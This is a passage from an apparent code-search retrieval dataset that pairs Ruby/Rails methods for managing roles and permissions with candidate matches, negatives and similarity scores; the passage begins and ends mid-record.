"def create\n @screen = session.active_screen\n\n params[:permission][:actions] = nil if params[:permission][:actions].nil?\n \n permission_type = params[:permission_type].to_s\n permission_attributes = params[:permission] || {}\n screen_id = params[:screen_id].to_i\n \n @permissions = Permission.create_permissions(permission_type, permission_attributes, screen_id)\n @permission = @permissions.last\n\n respond_to do |format|\n format.html # create.html.erb\n format.xml { render :xml => @permission }\n end\n end",
"def handle_grant_permission\n return if cbac_permission_exists?\n\n permission = Cbac::Permission.new\n permission.privilege_set = privilege_set\n\n if pristine_role.role_type == PristineRole.ROLE_TYPES[:context]\n permission.context_role = pristine_role.name\n else\n generic_role = Cbac::GenericRole.where(name: pristine_role.name).first\n permission.generic_role = generic_role || Cbac::GenericRole.where(name: pristine_role.name, remarks: \"Autogenerated by Cbac loading / upgrade system\").create\n end\n\n register_change if permission.save\n permission\n end",
"def check_permissions\n authorize! :create, Employee\n end",
"def may(*args)\n p = permissions.for(args.pop).find_or_initialize_by_role_id(id) # need a #find_or_initialize_by_already_specified_scope\n p.mask += Authorize::Permission::Mask[*args]\n p.save\n p.mask.complete\n end",
"def test_iam_permissions *permissions\n ensure_service!\n grpc = service.test_table_permissions instance_id, name, permissions.flatten\n grpc.permissions.to_a\n end",
"def add_permission_to_role_with_http_info(role_id, body, opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: RolesAPI.add_permission_to_role ...'\n end\n # verify the required parameter 'role_id' is set\n if @api_client.config.client_side_validation && role_id.nil?\n fail ArgumentError, \"Missing the required parameter 'role_id' when calling RolesAPI.add_permission_to_role\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling RolesAPI.add_permission_to_role\"\n end\n # resource path\n local_var_path = '/api/v2/roles/{role_id}/permissions'.sub('{role_id}', CGI.escape(role_id.to_s).gsub('%2F', '/'))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(body)\n\n # return_type\n return_type = opts[:debug_return_type] || 'PermissionsResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth, :AuthZ]\n\n new_options = opts.merge(\n :operation => :add_permission_to_role,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V2\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Post, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RolesAPI#add_permission_to_role\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def permitted_roles privilege\n result = JSON.parse url_for(:resources_permitted_roles, credentials, id, privilege).get\n if result.is_a?(Hash) && ( count = result['count'] )\n count\n else\n result\n end\n end",
"def create\n requested_permission_level = get_sanitized_permission_level(\n @params[:permission_level])\n permission_request = nil\n begin\n ActiveRecord::Base.transaction do\n permission_request = PermissionRequest.create!({\n user: @user,\n level_requested: requested_permission_level,\n reviewed: true,\n granted: true,\n reviewed_by: current_user,\n reviewed_on: Time.now\n })\n\n @user.update!({\n permission_level: requested_permission_level,\n permission_level_granted_by: current_user,\n permission_level_granted_on: permission_request.reviewed_on\n })\n\n @user.send_permissions_changed_email\n end\n \n respond_to do |format|\n format.json { render json: {\n success: true, \n permission_request: {\n permission_level: @user.permission_level,\n reviewed_by_username: current_user.username,\n reviewed_on: permission_request.reviewed_on\n }\n } }\n format.html { redirect_to users_path }\n end\n rescue => e\n respond_with_error \"There was an error saving this request. #{e}\", \n users_path\n end\n end",
"def my_permissions\n @my_permissions ||= self.roles.map {|r| r.permissions.map {|p| p.name}}.flatten.freeze\n end",
"def bulk_create \t\n \tauthorize! :manage, :all #checking authorization who are having all permissions\n\n \tif params[\"permissions\"].present?\n \t\tresource_id = params[\"permissions\"][\"resource_id\"]\n \t\tresource_type = params[\"permissions\"][\"resource_type\"]\n \t\tif resource_id.present? && resource_type.present?\n\t \t\t#Checking model permissions and creating model permissions \n\t \t\tif params[\"permissions\"][\"1\"].present? \n\t \t\t\tactions = params[\"permissions\"][\"1\"]\n\t \t\t\tactions.each do |key,value|\n\t \t\t\t\tvalue.each do |sub|\n\t \t\t\t\t\tsub_values = sub.split('_')\n\t \t\t\t\t\tpermission = Permission.where(:resource_id => resource_id, :resource_type => resource_type,:action=>key,:no_model_permission=>1,:subject_class=>sub_values[0]).first_or_initialize\t\t \t\t\t\n\t\t \t\t\t\tpermission[:status] = sub_values[1]\n\t\t \t\t\t\tpermission[:actions_list] = []\n\t\t \t\t\t\tpermission[:created_by] = current_user.id if current_user\n\t\t \t\t\t\tpermission[:updated_by] = current_user.id if current_user\t \t\t\t\t\n\t\t \t\t\t\tpermission.save\n\t \t\t\t\tend\n\t \t\t\tend \t\t\t\n\t \t\tend\n\t \t\t#Checking controller permissions and creating controller permissions\n\t \t\tif params[\"permissions\"][\"0\"].present? \n\t \t\t\tactions = params[\"permissions\"][\"0\"]\n\t \t\t\tactions.each do |key,value|\n\t \t\t\t\tpermission = Permission.where(:resource_id => resource_id, :resource_type => resource_type,:action=>key,:no_model_permission=>false).first_or_initialize\t \t\t\t\t\t\t\t\n\t \t\t\t\tpermission[:actions_list] = value.reject(&:empty?).map{|x| x.to_sym }\n\t \t\t\t\tpermission[:created_by] = current_user.id if current_user\n\t \t\t\t\tpermission[:updated_by] = current_user.id if current_user\n\t \t\t\t\tpermission.save\n\t \t\t\tend \t\t\t\n\t \t\tend\n\t \t\tflash[:notice] = \"Groups permissions successfully saved\"\n\t \t\tredirect_to_back_or_default\n\t \telse\n\t \t\tflash[:error] = \"permissions not saved , Please fill required fields\"\n \t\t\tredirect_to_back_or_default\n\t \tend\n \telse\n \t\tflash[:error] = \"permissions not saved\"\n \t\tredirect_to_back_or_default\n \tend\n end",
"def all_role_params\n params.require(:role).permit(:name, :resource_type, :role_type, :resource_id, users_roles_attributes: [:user_id, :_destroy])\n end",
"def add_permissions\n [\"License\", \"Archive\", \"Contract\"].each do |doc|\n klass = doc.constantize\n doc_id = \"#{doc.downcase}_id\".to_sym\n permissions = self.send(\"#{doc.downcase.pluralize.singularize}_permissions\".to_sym)\n klass.find(:all).each { |record|\n permissions.create doc_id => record.id, :ycrole_id => self.id,\n :can_read => false, :can_write => false\n }\n end\n end",
"def update_permissions\n self.view_permission.update_attribute(:name, name + \" view\")\n self.signup_permission.update_attribute(:name, name + \" signup\")\n self.admin_permission.update_attribute(:name, name + \" admin\")\n end",
"def add_workflow_responsibilities(role, agents)\n Hyrax::Workflow::PermissionGenerator.call(roles: role,\n workflow: self,\n agents: agents)\n end",
"def test_permissions *permissions\n permissions = Array(permissions).flatten\n permissions = Array(permissions).flatten\n ensure_service!\n grpc = service.test_database_permissions \\\n instance_id, database_id, permissions\n grpc.permissions\n end",
"def test_permissions *permissions\n permissions = Array(permissions).flatten\n permissions = Array(permissions).flatten\n ensure_service!\n grpc = service.test_database_permissions \\\n instance_id, database_id, permissions\n grpc.permissions\n end",
"def build_perms_payload()\n permissions = [\n {\"name\" => \"update\", \"role\" => [\"admin\",\"app\"]},\n {\"name\" => \"read\", \"role\" => [\"admin\",\"app\"]},\n {\"name\" => \"schema-read\", \"role\" => [\"admin\", \"app\"]},\n {\"name\" => \"config-read\", \"role\" =>[\"admin\",\"app\"]},\n {\"name\" => \"collection-admin-read\", \"role\" => [\"admin\",\"app\"]},\n {\"name\" => \"config-admin-read\", \"role\" => [\"admin\",\"app\"]},\n {\"name\" => \"security-edit\", \"role\" => \"admin\"},\n {\"name\" => \"security-read\", \"role\" => \"admin\"},\n {\"name\" => \"schema-edit\", \"role\" => \"admin\"},\n {\"name\" => \"config-edit\", \"role\" => \"admin\"},\n {\"name\" => \"collection-admin-edit\", \"role\" => \"admin\"},\n {\"name\" => \"config-admin-edit\", \"role\" => \"admin\"}\n\n ]\n\n perm_elems = Array.new\n key = \"\\\"set-permission\\\"\"\n permissions.each do |perm|\n perm_elems.push(key + \":\" + perm.to_json)\n end\n\n payload = perm_elems.join(\",\\n\")\n\n payload = \"{#{payload}}\"\n\n return payload\n\n end",
"def permissions\n Rails.cache.fetch(\"permissions_#{self.id}\", expire_in: 1.month) do\n self.roles.map(&:permissions).flatten\n end\n end",
"def set_role_permission(id, level)\n @permissions[:roles][id] = level\n end",
"def new\n @lab_permissions_role = LabPermissionsRole.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lab_permissions_role }\n end\n end",
"def create\n @attribute_permission = AttributePermission.new(params[:attribute_permission])\n \n respond_to do |format|\n if @attribute_permission.save\n format.html { redirect_to @attribute_permission, notice: 'Attribute permission was successfully created.' }\n format.json { render json: @attribute_permission, status: :created, location: @attribute_permission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attribute_permission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def permissions = {}",
"def create_role(role_name, params = {})\n change_role_access(role_name, user_emails_to_ids(params), :post)\n end",
"def set_permissions( new_roles )\n preserved_roles = self.roles & new_roles\n roles_to_remove = self.roles - preserved_roles\n roles_to_add = new_roles - preserved_roles\n \n remove_roles roles_to_remove\n add_roles roles_to_add\n end",
"def accept_role role\n self.roles.push role\n end"
] | [
"0.7852936",
"0.7502534",
"0.7254272",
"0.72430396",
"0.71401995",
"0.7106022",
"0.7096851",
"0.7094173",
"0.69884014",
"0.68079764",
"0.67391264",
"0.6723992",
"0.6656945",
"0.663575",
"0.6632088",
"0.66257614",
"0.66144454",
"0.6598142",
"0.65332043",
"0.6525639",
"0.65074867",
"0.64945555",
"0.6476611",
"0.6443698",
"0.6427336",
"0.64103955",
"0.62992376",
"0.62859035",
"0.6281236",
"0.6268035",
"0.6265173",
"0.6262574",
"0.6250484",
"0.62480843",
"0.6234579",
"0.62273425",
"0.62185603",
"0.61909133",
"0.6170441",
"0.61677575",
"0.61677575",
"0.6148827",
"0.60922605",
"0.6089787",
"0.60883415",
"0.6088328",
"0.60861474",
"0.60808825",
"0.60808825",
"0.6077281",
"0.6064993",
"0.6064993",
"0.6063378",
"0.60585064",
"0.60461605",
"0.60366535",
"0.6026238",
"0.60032445",
"0.5983364",
"0.5975983",
"0.5975983",
"0.59648854",
"0.5955041",
"0.5953324",
"0.5950719",
"0.5943034",
"0.5925375",
"0.59248567",
"0.59219795",
"0.5920721",
"0.5913171",
"0.59082",
"0.59049773",
"0.5904627",
"0.5902072",
"0.5887364",
"0.58872986",
"0.5873329",
"0.58662724",
"0.5865667",
"0.58623075",
"0.5860974",
"0.5854178",
"0.5845242",
"0.5845242",
"0.5842795",
"0.58355874",
"0.5827512",
"0.5825571",
"0.582541",
"0.5825047",
"0.58241427",
"0.5823691",
"0.5822198",
"0.58214384",
"0.5820698",
"0.5816003",
"0.5805906",
"0.5796878",
"0.57964456"
] | 0.7122269 | 5 |
PATCH/PUT /role_permissions/1 PATCH/PUT /role_permissions/1.json | def update
respond_to do |format|
if @role_permission.update(role_permission_params)
format.html { redirect_to @role_permission, notice: 'Role permission was successfully updated.' }
format.json { render :show, status: :ok, location: @role_permission }
else
format.html { render :edit }
format.json { render json: @role_permission.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @role.permissions = []\n @role.set_permissions(params[:permissions]) if params[:permissions]\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role = Role.find(params[:id])\n \n @perms = params[:permissions[\"permissions\"]]\n if @perms != nil\n @permissions = @perms[\"permissions\"]\n end\n #logger.debug \"PERMISSIONS: #{@permissions.inspect}\"\n if @permissions == nil\n @role.read = 0\n @role.write = 0\n @role.execute = 0\n end\n if @permissions != nil\n if @permissions.include?(\"read\")\n @role.read = 1\n else\n @role.read = 0\n end\n if @permissions.include?(\"write\")\n @role.write = 1\n else\n @role.write = 0\n end\n if @permissions.include?(\"execute\")\n @role.execute = 1\n else\n @role.execute = 0\n end\n end\n\n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to @role, notice: t(:role_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n load_permissions\n ids = params[:permissions].select {|k, v| v == \"1\"}.map {|k,v| k.to_i }\n if ids.length > 0\n permissions = Permission.find(:all, :conditions => [\"id in (#{ids.join(',')})\"])\n @role = Role.find(params[:id])\n params[:role][:permissions] = permissions\n if @role.update_attributes(params[:role])\n flash[:notice] = \"修改角色成功\"\n redirect_to :action => 'index'\n else\n flash[:error] = '修改角色失败'\n redirect_to :action => 'edit', :id => @role.id\n end\n else\n flash[:error] = \"角色名或权限不能为空\"\n redirect_to :action => 'edit', :id => @role.id\n end\n end",
"def update\n respond_to do |format|\n if @role.update(role_params)\n @role.permissions = params[:role][:permission].map do |key, value|\n index = value[\"index\"] == \"1\" ? true : false\n index = true if value[\"new\"] == \"1\" || value[\"edit\"] == \"1\" || value[\"remove\"] == \"1\"\n Permission.update(value[\"id\"], :index => index, :new => value[\"new\"], :edit => value[\"edit\"], :remove => value[\"remove\"], :import => value[\"import\"])\n end\n format.html { redirect_to management_roles_path }\n format.json { render json: @role, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @rolepermission.update(rolepermission_params)\n format.html { redirect_to @rolepermission, notice: 'Rolepermission was successfully updated.' }\n format.json { render :show, status: :ok, location: @rolepermission }\n else\n format.html { render :edit }\n format.json { render json: @rolepermission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lab_permissions_role = LabPermissionsRole.find(params[:id])\n\n respond_to do |format|\n if @lab_permissions_role.update_attributes(params[:lab_permissions_role])\n format.html { redirect_to @lab_permissions_role, notice: 'Lab permissions role was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lab_permissions_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @roles_and_permission = @roles.roles_and_permission.find(params[:id])\n\n respond_to do |format|\n if @roles_and_permission.update_attributes(params[:roles_and_permission])\n format.html { redirect_to [@roles,@roles_and_permission], notice: 'Roles and permission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @roles_and_permission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role_permission = RolePermission.find(params[:id])\n respond_to do |format|\n if @role_permission.update_attributes(params[:role_permission])\n format.html { index_helper render :action => 'index' }\n format.json { head :ok }\n else\n\n format.html { render action: \"edit\" }\n format.json { render json: @role_permission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role = Role.find(params[:id])\n authorize @role\n\n if @role.update(access: role_params[:access])\n deliver_if(recipients: @role.user, key: 'users.added_as_coowner') do |_r|\n UserMailer.permissions_change_notification(@role, current_user).deliver_now\n end\n render json: {\n code: 1,\n msg: format(_('Successfully changed the permissions for %{email}. They have been\n notified via email.'), email: @role.user.email)\n }\n else\n render json: { code: 0, msg: flash[:alert] }\n end\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n @roles = args[:roles] if args.key?(:roles)\n end",
"def update!(**args)\n @permissions = args[:permissions] unless args[:permissions].nil?\n end",
"def update!(**args)\n @permissions = args[:permissions] unless args[:permissions].nil?\n end",
"def role_permissions=(value)\n @role_permissions = value\n end",
"def update\n \n if request.get?\n @role = Role.find(params[:id].to_i)\n else\n @role = Role.find(params[:id].to_i)\n\n # set parent role\n if not params[:role][:parent].to_s.empty?\n @role.parent = Role.find(params[:role][:parent])\n else\n @role.parent = nil\n end\n\n # get an array of static permissions and set the permission associations\n params[:role][:static_permissions] = [] if params[:role][:static_permissions].nil?\n permissions = params[:role][:static_permissions].collect { |i| StaticPermission.find(i) }\n @role.static_permissions = permissions\n\n if @role.update_attributes(params[:role])\n flash[:success] = 'Role has been updated successfully.'\n redirect_to :action => 'show', :id => @role\n else\n render :action => 'update'\n end\n end\n \n rescue RecursionInTree\n @role.errors.add :parent, \"must not be a descendant of itself\"\n render :action => 'update'\n rescue ActiveRecord::RecordNotFound\n flash[:error] = 'You sent an invalid request.'\n redirect_to :action => 'list'\n end",
"def update\n abilities = []\n params[:role][:role_abilities].each do |ability|\n abilities << ability.to_sym\n end\n @role.role_abilities = [{\"action\"=> abilities, \"subject\"=>[:api]}]\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to roles_path, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_role_overrides(token, channel_id, role_id, allow, deny)\n request(\n __method__,\n :put,\n \"#{api_base}/channels/#{channel_id}/permissions/#{role_id}\",\n { type: 'role', id: role_id, allow: allow, deny: deny }.to_json,\n Authorization: token,\n content_type: :json\n )\n end",
"def update_role\n @user = User.find(params[:id])\n\n # Limit access to authorized users\n authorize! :manage, @user\n\n @user.admin = params[:admin_role]\n respond_to do |format|\n if @user.save\n format.json { head :no_content }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n success = false;\n error = \"Resource not available.\"\n permissions = nil\n\n if params.key?(:id) and params.key?(:permissions)\n permissions = ProjectPermission.find_by(id: params[:id])\n if permissions\n if permissions.user and permissions.user == @current_user\n error = \"User permissions may not be modified.\"\n else\n project = permissions.project\n if project and user_can_access_project(project.id, [:can_author])\n\n p = params.require(:permissions).permit(\n :can_author, :can_view, :can_annotate).to_h\n\n p['can_view'] = p['can_view'] == 'true' if p.key? 'can_view'\n p['can_annotate'] = p['can_annotate'] == 'true' if p.key? 'can_annotate'\n p['can_author'] = p['can_author'] == 'true' if p.key? 'can_author'\n\n ## Authors get full permissions.\n if p['can_author']\n p['can_view'] = true\n p['can_annotate'] = true\n p['can_author'] = true\n ## Annotators get at least viewing and annotation permissions.\n elsif p['can_annotate']\n p['can_view'] = true\n end\n\n\n ## Make sure that can_view is not being taken away from a user with\n ## authoring or annotation permissions.\n if( !p['can_view'] and (\n get_with_default(p, 'can_author', permissions.can_author.to_s) == 'true' or \n get_with_default(p, 'can_annotate', permissions.can_annotate.to_s) == 'true'))\n # Rails.logger.debug \"Hello -- ILLEGAL STATE REACHED!\"\n error = \"Illegal state of permissions: you cannot revoke \"+\n \"viewing permissions from an author or annotator.\"\n else\n success = permissions.update(p)\n error = \"Error updating permissions.\" unless success\n end\n\n \n # success = false;\n # error = \"#{params.to_json} #{p.to_json}\"\n end\n end\n end\n end\n\n if success\n render json: permissions, serializer: ProjectPermissionSerializer,\n root: \"permissions\"\n else\n render_error error\n end\n end",
"def update\n return unless check_permission\n\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n else\n @users = User.all\n format.html { render :edit }\n end\n end\n end",
"def update\n respond_to do |format|\n if @role.update_attributes(params[:role])\n flash[:notice] = 'Role was successfully updated.'\n format.html { redirect_to(@role) }\n format.xml { head :ok }\n format.js\n else\n @possible_permissions = Permission.by_category(@role.category)\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @role.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n if !grant_access(\"alter_roles\", current_user)\n head(403)\n end\n @role.user_id = current_user.id\n @role.start_point = false if !params[:role][:start_point]\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @matched_permissions = args[:matched_permissions] if args.key?(:matched_permissions)\n end",
"def UpdateRole params = {}\n \n APICall(path: 'custom_roles.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update\n @role_permision = RolePermision.find(params[:id])\n\n respond_to do |format|\n if @role_permision.update_attributes(params[:role_permision])\n format.html { redirect_to @role_permision, notice: 'Role permision was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role_permision.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to admin_roles_path, notice: 'Role was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_permission(name, value)\n # Dont update if it is not explicitly set to a value\n return unless value.present?\n\n permission = role_permissions.find_or_create_by!(name: name)\n\n permission.update_attributes(value: value, enabled: true)\n end",
"def update\n resource.update_attributes params[params_key], as: current_role\n respond_with resource\n end",
"def add_permissions\r\n @role = Role.find(params[:id])\r\n end",
"def update\n respond_to do |format|\n if role.update(role_params) && update_users_roles\n format.html { redirect_to admin_role_path(role), notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: role }\n else\n format.html { render :edit }\n format.json { render json: role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @permission = args[:permission] if args.key?(:permission)\n end",
"def update!(**args)\n @permission = args[:permission] if args.key?(:permission)\n end",
"def create\n @role = Role.new(role_params) \n @role.permissions = []\n @role.set_permissions(params[:permissions]) if params[:permissions]\n\n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: 'Role was successfully created.' }\n format.json { render :show, status: :created, location: @role }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @added_permissions = args[:added_permissions] if args.key?(:added_permissions)\n @removed_permissions = args[:removed_permissions] if args.key?(:removed_permissions)\n end",
"def update!(**args)\n @added_permissions = args[:added_permissions] if args.key?(:added_permissions)\n @removed_permissions = args[:removed_permissions] if args.key?(:removed_permissions)\n end",
"def update!(**args)\n @added_permissions = args[:added_permissions] if args.key?(:added_permissions)\n @removed_permissions = args[:removed_permissions] if args.key?(:removed_permissions)\n end",
"def update_role(token, server_id, role_id, name, colour, hoist = false, mentionable = false, packed_permissions = 36_953_089)\n request(\n __method__,\n :patch,\n \"#{api_base}/guilds/#{server_id}/roles/#{role_id}\",\n { color: colour, name: name, hoist: hoist, mentionable: mentionable, permissions: packed_permissions }.to_json,\n Authorization: token,\n content_type: :json\n )\n end",
"def update_permissions\n self.view_permission.update_attribute(:name, name + \" view\")\n self.signup_permission.update_attribute(:name, name + \" signup\")\n self.admin_permission.update_attribute(:name, name + \" admin\")\n end",
"def update\n respond_to do |format|\n if @permissionviewrole.update(permissionviewrole_params)\n format.html { redirect_to @permissionviewrole, notice: 'Permissionviewrole was successfully updated.' }\n format.json { render :show, status: :ok, location: @permissionviewrole }\n else\n format.html { render :edit }\n format.json { render json: @permissionviewrole.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_role_permission\n @role_permission = RolePermission.find(params[:id])\n end",
"def set_role_permission\n @role_permission = RolePermission.find(params[:id])\n end",
"def set_rolepermission\n @rolepermission = Rolepermission.find(params[:id])\n end",
"def update\n @attribute_permission = AttributePermission.find(params[:id])\n \n respond_to do |format|\n if @attribute_permission.update_attributes(params[:attribute_permission])\n format.html { redirect_to @attribute_permission, notice: 'Attribute permission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attribute_permission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @role = Role.new(params[:role])\n\n @perms = params[:permissions[\"permissions\"]]\n if @perms != nil\n @permissions = @perms[\"permissions\"]\n end\n #logger.debug \"PERMISSIONS: #{@permissions.inspect}\"\n if @permissions == nil\n @role.read = 0\n @role.write = 0\n @role.execute = 0\n end\n if @permissions != nil\n if @permissions.include?(\"read\")\n @role.read = 1\n else\n @role.read = 0\n end\n if @permissions.include?(\"write\")\n @role.write = 1\n else\n @role.write = 0\n end\n if @permissions.include?(\"execute\")\n @role.execute = 1\n else\n @role.execute = 0\n end\n end\n \n respond_to do |format|\n if @role.save\n format.html { redirect_to @role, notice: t(:role_created) }\n format.json { render json: @role, status: :created, location: @role }\n else\n format.html { render action: \"new\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @required_role.update(required_role_params)\n format.html { redirect_to @required_role, notice: 'Required role was successfully updated.' }\n format.json { render :show, status: :ok, location: @required_role }\n else\n format.html { render :edit }\n format.json { render json: @required_role.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.81744426",
"0.8034166",
"0.7848315",
"0.77968335",
"0.7289854",
"0.72796535",
"0.7194642",
"0.71135396",
"0.7068992",
"0.70109946",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
"0.7010619",
